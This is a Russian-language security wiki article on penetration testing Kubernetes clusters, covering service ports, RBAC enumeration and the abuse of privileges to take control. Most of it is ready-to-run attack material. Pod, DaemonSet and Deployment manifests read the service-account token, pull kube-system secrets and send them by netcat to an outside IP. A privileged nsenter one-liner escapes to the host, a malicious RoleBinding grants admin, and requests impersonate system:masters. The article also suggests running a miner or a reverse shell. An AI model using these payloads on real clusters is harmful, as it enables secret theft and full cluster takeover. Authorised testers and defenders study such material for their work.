Kubernetes — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Etcd)
м (Анонимный доступ)
Строка 145: Строка 145:
  
  
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
 
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
 +
</syntaxhighlight>
  
 
= API-server =
 
= API-server =

Версия 18:32, 13 марта 2022


Статья посвящена тестированию на проникновение Kubernetes.


Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.

Содержание

Общее

Запросы к API (шпаргалка)

https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/

Настройка утилит

kubectl

Для общения с API можно воспользоваться стандартным ПО kubectl.

Пример запроса:

1 kubectl get secrets


Запросы можно делать inline с токеном:

1 kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

curl

Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.

1 export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
2 export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
3 export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
4 export TOKEN=$(cat ${SERVICEACCOUNT}/token)
5 # Лишняя строка, но можно использовать с curl --cacert ${CACERT}
6 # export CACERT=${SERVICEACCOUNT}/ca.crt
7 
8 curl -k --header "Authorization: Bearer ${TOKEN}"

Текущая конфигурация

Конфиг

Общая информация

1 kubectl config view


Пользователи

Список пользователей

1 kubectl config get-users
2 kubectl config view -o jsonpath='{.users[*].name}'

Удалить пользователя

1 kubectl config unset users.foo

Контексты

Список контекстов

1 kubectl config get-contexts


Текущий контекст

1 kubectl config current-context

Установить контекст

1 kubectl config use-context my-cluster-name

Namespace

Установить namespace по-умолчанию

1 kubectl config set-context --current --namespace=ggckad-s2

DNS

DNS при тестировании kubernetes больше может потребоваться для разведки.

Например, основные субдомены kubernetes выглядят как:

k8s.*

Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.

Pod

Локальные файлы

ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)

namespace - текущее рабочее пространство

token - сервисный токен Pod'а

Где их обычно можно найти:

1 /run/secrets/kubernetes.io/serviceaccount
2 /var/run/secrets/kubernetes.io/serviceaccount
3 /secrets/kubernetes.io/serviceaccount

Переменные окружения

Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):

1 (env | set) | grep -i "kuber|kube"

Etcd

Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены.


Порты: 2379/tcp, 6666/tcp

Анонимный доступ

У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты

etcdctl

1 etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

API-server

Веб-сервер, предоставляющий API для управления kubernetes.


Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp


Список плагинов

Как правило, доступ к API не анонимный. Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов.

Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки.

Kubelet

Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.


Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)


Kube-proxy

Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах.


Порты: 10256/tcp(healthcheck).


Role-Based Access Control

Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).


Как правило, неправильная настройка доступа может привести к проблемам безопасности.

Список привилегий

Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:

1 # Весь список привилегий
2 kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
1 curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
2 # удачи парсить:)

Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:

1 kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Другие команды для получения информации о текущей роли:


 1 # Текущие привилегии
 2 kubectl auth can-i --list
 3 ## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account
 4 
 5 # Список ролей кластера
 6 kubectl get clusterroles
 7 kubectl describe clusterroles
 8 
 9 # Список Cluster Roles Bindings
10 kubectl get clusterrolebindings
11 kubectl describe clusterrolebindings
12 
13 # Список ролей
14 kubectl get roles
15 kubectl describe roles
16 
17 # Список Role Buildings
18 kubectl get rolebindings
19 kubectl describe rolebindings


Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ

Привилегии - secrets

Относится к etcd - хранилище секретов.

Доступ list

Позволяет получить список всех секретов в namespace.

kubectl

1 kubectl get secrets


HTTP API

1 curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
2 
3 curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Доступ get

Позволяет прочитать секрет.

Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.

Пример названия секрета пользователя drakylar-admin:

1 drakylalr-admin-token-sgjbp

где sgjbp - случайная строка.


kubectl

Получить секрет по имени

1 kubectl get secrets secret_name -o yaml

curl

1 curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Привилегии - pods

Доступ create

Позволяет создавать новые Pod'ы.

Три варианта эксплуатации:

1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.

2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)

3. Запуск майнера


kubectl

Для этого требуется создать yaml-файл со следующим содержимым:

 1 apiVersion: v1
 2 kind: Pod
 3 metadata:
 4   name: alpine
 5   namespace: kube-system
 6 spec:
 7   containers:
 8   - name: alpine
 9     image: alpine
10     command: ["/bin/sh"]
11     args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
12     volumeMounts:
13     - mountPath: /host
14       name: host-volume
15   restartPolicy: Never
16   hostIPC: true
17   hostNetwork: true
18   hostPID: true
19   serviceAccountName: bootstrap-signer
20   automountServiceAccountToken: true
21   volumes:
22   - name: host-volume
23     hostPath:
24       path: /

И выполнить его командой:

1 kubectl apply -f malicious-pod.yaml

Что делает созданный Pod:

1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)

2. hostPID - работа с хостовыми PID (см. главу Docker_escape)

3. hostIPC - работа с хостовыми IPC (см. главу Docker_escape)

4. hostNetwork - работа с хостовыми сетями (см. главу Docker_escape)

5. volumeMounts - хостовая файловая система, доступная по /host (см. главу Docker_escape)

Если вам не нужна кража токена, то однострочник для запуска:

1 kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

curl

Для запросов через curl, требуется создать json-файл.

 1 {
 2     "apiVersion": "v1",
 3     "kind": "Pod",
 4     "metadata": {
 5         "name": "alpine"
 6     },
 7     "spec": {
 8         "restartPolicy": true,
 9         "hostIPC": true,
10         "hostNetwork": true,
11         "hostPID": true,
12         "volumes": [
13             {
14                 "name": "host-volume",
15                 "hostPath": {
16                     "path": "/"
17                 }
18             }
19         ],
20         "containers": [
21             {
22                 "name": "alpine",
23                 "image": "alpine",
24                 "commands": ["/bin/sh"],
25                 "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
26                 "serviceAccountName" : "bootstrap-signer",
27                 "automountServiceAccountToken": true,
28                 "hostNetwork": true,
29                 "imagePullPolicy": "IfNotPresent",
30                 "securityContext": {
31                     "allowPrivilegeEscalation": true,
32                     "privileged": true,
33                     "runAsUser": 0
34                 },
35                 "volumesMount": [
36                     {
37                         "mountPath": "/host",
38                         "name": "host-volume"
39                     }
40                 ]                  
41             }
42         ]
43     }
44 }

И выполнить запрос:

1 curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.


Доступ exec

Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды.

kubectl

1 kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash

Привилегии - DaemonSet

DaemonSet - создание копии Pod'а.


Доступ - create

Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

 1 apiVersion: apps/v1
 2 kind: DaemonSet
 3 metadata:
 4   name: alpine
 5   namespace: kube-system
 6 spec:
 7   selector:
 8     matchLabels:
 9       name: alpine
10   template:
11     metadata:
12       labels:
13         name: alpine
14     spec:
15       serviceAccountName: bootstrap-signer
16       automountServiceAccountToken: true
17       hostNetwork: true
18       containers:
19       - name: alpine
20         image: alpine
21         command: ["/bin/sh"]
22         args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


1 kubectl apply -f malicious-pod.yaml

curl

 1 {
 2   "apiVersion": "apps/v1",
 3   "kind": "DaemonSet",
 4   "metadata": {
 5     "name": "alpine",
 6     "namespace": "kube-system"
 7   },
 8   "spec": {
 9     "selector": {
10       "matchLabels": {
11         "name": "alpine"
12       }
13     },
14     "template": {
15       "metadata": {
16         "labels": {
17           "name": "alpine"
18         }
19       },
20       "spec": {
21         "serviceAccountName": "bootstrap-signer",
22         "automountServiceAccountToken": true,
23         "hostNetwork": true,
24         "containers": [
25           {
26             "name": "alpine",
27             "image": "alpine",
28             "command": [
29               "/bin/sh"
30             ],
31             "args": [
32               "-c",
33               "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
34             ]
35           }
36         ]
37       }
38     }
39   }
40 }


1 curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Deployment

Deployment - представление работающего приложения в кластере (например, количество его репликаций).


Доступ - create

Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

 1 apiVersion: apps/v1
 2 kind: Deployment
 3 metadata:
 4   name: alpine
 5   namespace: kube-system
 6 spec:
 7   replicas: 1
 8   selector:
 9     matchLabels:
10       app: alpine
11   template:
12     metadata:
13       labels:
14         app: alpine
15     spec:
16       serviceAccountName: bootstrap-signer
17       automountServiceAccountToken: true
18       hostNetwork: true
19       containers:
20       - name: alpine
21         image: alpine
22         command: ["/bin/sh"]
23         args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


1 kubectl apply -f malicious-deployment.yaml

curl

 1 {
 2   "apiVersion": "apps/v1",
 3   "kind": "Deployment",
 4   "metadata": {
 5     "name": "alpine",
 6     "namespace": "kube-system"
 7   },
 8   "spec": {
 9     "replicas": 1,
10     "selector": {
11       "matchLabels": {
12         "app": "alpine"
13       }
14     },
15     "template": {
16       "metadata": {
17         "labels": {
18           "app": "alpine"
19         }
20       },
21       "spec": {
22         "serviceAccountName": "bootstrap-signer",
23         "automountServiceAccountToken": true,
24         "hostNetwork": true,
25         "containers": [
26           {
27             "name": "alpine",
28             "image": "alpine",
29             "command": [
30               "/bin/sh"
31             ],
32             "args": [
33               "-c",
34               "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
35             ]
36           }
37         ]
38       }
39     }
40   }
41 }


1 curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json



Привилегии - Statefulsets

Statefulsets - представление работающего приложения в кластере (например, количество его репликаций), схоже с Deployment.


Доступ - create

Аналогично "Pods - create", мы можем создать Statefulsets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicationcontrollers

Replicationcontrollers - организация репликаций приложений.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicationcontrollers, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicasets

Replicasets - организация репликаций приложений, схоже с Replicationcontrollers.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicasets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Jobs

Jobs - запускает один или несколько Pod'ов и будет пытаться повторить их запуск пока определенное количество Pod'ов не завершится успешно.


Доступ - create

Аналогично "Pods - create", мы можем создать Jobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Cronjobs

Cronjobs - запускает Jobs по расписанию.


Доступ - create

Аналогично "Pods - create", мы можем создать Cronjobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - RoleBinding

RoleBinding - связывает пользователей и роли.

Доступ - create

Мы можем прикрепить к нашему пользователю роль администратора и получить контроль над kuberntetes.

kubectl

Создаем YAML-файл (указать kind, name и namespace аккаунта - в примере sa-comp):

 1 apiVersion: rbac.authorization.k8s.io/v1
 2 kind: RoleBinding
 3 metadata:
 4   name: malicious-rolebinding
 5   namespaces: default
 6 roleRef:
 7   apiGroup: '*'
 8   kind: ClusterRole
 9   name: admin
10 subjects:
11   - kind: ServiceAccount
12     name: sa-comp
13     namespace: default

Выполняем файл:

1 kubectl apply -f malicious-rolebinding.yaml

curl

Создаем JSON-файл (указать kind, name и namespace аккаунта - в примере sa-comp):

 1 {
 2     "apiVersion": "rbac.authorization.k8s.io/v1",
 3     "kind": "RoleBinding",
 4     "metadata": {
 5         "name": "malicious-rolebinding",
 6         "namespaces": "default"
 7     },
 8     "roleRef": {
 9         "apiGroup": "*",
10         "kind": "ClusterRole",
11         "name": "admin"
12     },
13     "subjects": [
14         {
15             "kind": "ServiceAccount",
16             "name": "sa-comp",
17             "namespace": "default"
18         }
19     ]
20 }


Выполняем запрос

1 curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Impersonate

Impersonate - позволяет делать запросы от имени другого аккаунта.

kubectl

1 kubectl get secrets --as=superman --as-group=system:masters


curl

1 curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k

Примеры заголовков, которые могут потребоваться:

1 Impersonate-User: jane.doe@example.com
2 Impersonate-Group: developers
3 Impersonate-Group: admins
1 Impersonate-User: jane.doe@example.com
2 Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
3 Impersonate-Extra-acme.com%2Fproject: some-project
4 Impersonate-Extra-scopes: view
5 Impersonate-Extra-scopes: development
6 Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b


Стороннее ПО

cAdvisor

Собирает статистику по контейнерам.

Репозиторий: https://github.com/google/cadvisor

Порты: 4194/tcp.


Calico

Дополнение Kubernetes, которое позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes.


Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico).


Calico - Typha

Компонент Calico для расширения Kubernetes deployment.


Порты: 5473/tcp.


Weave Score

Инструмент для мониторинга кластеров Docker и Kubernetes.


Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).